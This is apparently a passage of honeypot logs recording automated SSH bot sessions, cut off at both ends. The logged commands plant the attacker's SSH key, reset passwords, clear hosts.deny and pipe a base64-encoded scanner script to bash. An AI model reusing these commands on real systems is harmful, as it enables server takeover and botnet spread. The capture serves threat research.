$2;}'"},{"seq":32,"at":"2026-08-21T10:40:53.397873+00:00","kind":"output","latency_ms":662,"data":"25G"},{"seq":33,"at":"2026-08-21T10:40:55.025907+00:00","kind":"input","latency_ms":null,"data":"echo \"user1 azerty\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T10:40:55.096228+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T10:40:55.325814+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-21T10:40:55.611026+00:00","kind":"output","latency_ms":515,"data":""},{"seq":37,"at":"2026-08-21T10:40:56.109656+00:00","kind":"output","latency_ms":783,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T10:40:56.210283+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T10:40:56.869083+00:00","kind":"output","latency_ms":658,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T10:40:56.953923+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T10:40:57.025085+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T10:40:57.485025+00:00","kind":"output","latency_ms":458,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T10:40:57.608245+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T10:40:58.104062+00:00","kind":"output","latency_ms":494,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T10:40:58.181094+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T10:40:58.816713+00:00","kind":"output","latency_ms":634,"data":""},{"seq":47,"at":"2026-08-21T10:41:08.573959+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T10:41:08.574634+00:00","kind":"output","latency_ms":null,"data":"user1"}],"credentials":[{"username":"user1","password":"azerty","method":"password","accepted":true,"tier":"other"}]} {"id":"dde2d4ff-0ca4-483b-9053-7458166c5e99","name":"lonesome-hazy-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"45.194.3.128","src_port":46786,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":696,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T00:21:03.057453+00:00","ended_at":"2026-08-21T00:21:03.277755+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3479,"events":[{"seq":1,"at":"2026-08-21T00:20:20.051133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T00:20:20.735187+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T00:20:27.736189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T00:20:27.737047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T00:20:28.433454+00:00","kind":"input","latency_ms":null,"data":"echo \"root:luaHYBRExwsi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T00:20:29.129203+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T00:20:29.299723+00:00","kind":"output","latency_ms":864,"data":""},{"seq":8,"at":"2026-08-21T00:20:29.825330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-21T00:20:29.826241+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-21T00:20:30.524103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-21T00:20:31.403640+00:00","kind":"output","latency_ms":880,"data":"15888 3124 12764 0 0 0"},{"seq":12,"at":"2026-08-21T00:20:32.101136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-21T00:20:33.351399+00:00","kind":"output","latency_ms":1246,"data":"-rwxr-xr-x 1 root root 147K Apr 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-21T00:20:34.047297+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T00:20:34.047959+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T00:20:34.744763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T00:20:34.745324+00:00","kind":"output","latency_ms":null,"data":" 00:20:34 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T00:20:35.442147+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T00:20:35.445226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T00:20:36.142995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T00:20:36.145104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T00:20:36.839262+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T00:20:36.840160+00:00","kind":"output","latency_ms":null,"data":"top - 00:20:36 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T00:20:37.537248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T00:20:37.537735+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T00:20:38.234393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T00:20:38.235083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T00:20:38.931583+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T00:20:38.932163+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T00:20:39.629808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T00:20:40.480467+00:00","kind":"output","latency_ms":849,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-21T00:20:41.177789+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T00:20:41.796203+00:00","kind":"output","latency_ms":617,"data":"24G"},{"seq":34,"at":"2026-08-21T00:20:44.048893+00:00","kind":"input","latency_ms":null,"data":"echo \"root abcd-1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T00:20:44.743138+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T00:20:45.498396+00:00","kind":"output","latency_ms":753,"data":""},{"seq":37,"at":"2026-08-21T00:20:47.239931+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T00:20:48.227166+00:00","kind":"output","latency_ms":986,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3\n"},{"seq":39,"at":"2026-08-21T00:20:48.923902+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T00:20:49.558693+00:00","kind":"output","latency_ms":633,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":41,"at":"2026-08-21T00:20:50.254481+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T00:20:50.950504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T00:20:52.048453+00:00","kind":"output","latency_ms":1097,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":44,"at":"2026-08-21T00:20:52.744016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T00:20:53.613654+00:00","kind":"output","latency_ms":868,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":46,"at":"2026-08-21T00:20:54.311577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T00:21:03.058328+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T00:21:03.058785+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"abcd-1234","method":"password","accepted":true,"tier":"other"}]} {"id":"dd3dc568-17c5-4e13-afe3-5fce7789988b","name":"weathered-shifting-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.186.36","src_port":45114,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":901,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T20:24:34.329664+00:00","ended_at":"2026-08-20T20:24:34.630091+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3988,"events":[{"seq":1,"at":"2026-08-20T20:23:38.256970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T20:23:39.160053+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T20:23:47.130138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T20:23:47.130878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T20:23:48.032722+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QRVgmpYi92o4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T20:23:48.756171+00:00","kind":"output","latency_ms":724,"data":""},{"seq":7,"at":"2026-08-20T20:23:48.930486+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T20:23:49.838527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T20:23:49.838941+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T20:23:50.756122+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T20:23:51.834750+00:00","kind":"output","latency_ms":1078,"data":"15888 5342 532 56 9960 9118"},{"seq":12,"at":"2026-08-20T20:23:52.732184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T20:23:53.500174+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 149K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T20:23:54.430375+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T20:23:54.430884+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-20T20:23:55.330473+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T20:23:55.331011+00:00","kind":"output","latency_ms":null,"data":" 20:23:55 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-20T20:23:56.230827+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T20:23:56.234373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T20:23:57.131500+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T20:23:57.132264+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-20T20:23:58.033060+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T20:23:58.033779+00:00","kind":"output","latency_ms":null,"data":"top - 20:23:58 up 17:14, 0 user, load average: 0.18, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T20:23:58.930746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T20:23:58.931283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T20:23:59.834566+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T20:23:59.835121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T20:24:00.729850+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T20:24:00.730680+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T20:24:01.630846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T20:24:04.102242+00:00","kind":"output","latency_ms":2468,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T20:24:05.030113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T20:24:06.121920+00:00","kind":"output","latency_ms":1090,"data":"24G"},{"seq":34,"at":"2026-08-20T20:24:09.033850+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456789123456789\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T20:24:09.931209+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T20:24:10.649361+00:00","kind":"output","latency_ms":716,"data":""},{"seq":37,"at":"2026-08-20T20:24:13.230442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T20:24:14.976907+00:00","kind":"output","latency_ms":1745,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T20:24:15.837835+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T20:24:16.607852+00:00","kind":"output","latency_ms":768,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T20:24:17.548822+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T20:24:18.430693+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T20:24:22.936644+00:00","kind":"output","latency_ms":4503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T20:24:23.830716+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T20:24:24.433858+00:00","kind":"output","latency_ms":601,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T20:24:25.338955+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T20:24:34.331259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T20:24:34.331901+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456789123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"edca2fad-c59c-4e9a-a8fd-fe79fe36bd95","name":"grassy-peaty-gharial","protocol":"ssh","channel_kind":"exec","src_ip":"181.129.41.162","src_port":40408,"username":"parth","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T19:52:38.357374+00:00","ended_at":"2026-08-20T19:52:38.429877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3459,"events":[{"seq":1,"at":"2026-08-20T19:52:08.941466+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T19:52:10.521346+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T19:52:15.123312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T19:52:15.124103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T19:52:15.408346+00:00","kind":"input","latency_ms":null,"data":"echo -e \"parth@123\\n26RXWTfy28jQ\\n26RXWTfy28jQ\"|passwd|bash"},{"seq":6,"at":"2026-08-20T19:52:15.692000+00:00","kind":"input","latency_ms":null,"data":"echo \"parth@123\\n26RXWTfy28jQ\\n26RXWTfy28jQ\\n\"|passwd"},{"seq":7,"at":"2026-08-20T19:52:15.977846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T19:52:15.978286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T19:52:16.263535+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T19:52:17.284713+00:00","kind":"output","latency_ms":1021,"data":" total used free shared buff/cache available\nMem: 15888 1810 12490 18 1587 13767"},{"seq":11,"at":"2026-08-20T19:52:17.568167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T19:52:18.240768+00:00","kind":"output","latency_ms":670,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T19:52:18.525627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T19:52:18.526099+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T19:52:18.810304+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T19:52:18.811047+00:00","kind":"output","latency_ms":null,"data":" 19:52:18 up 16:42, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-20T19:52:19.095400+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T19:52:19.095871+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T19:52:19.378936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T19:52:19.381726+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-20T19:52:19.662623+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T19:52:19.663413+00:00","kind":"output","latency_ms":null,"data":"top - 19:52:19 up 16:42, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 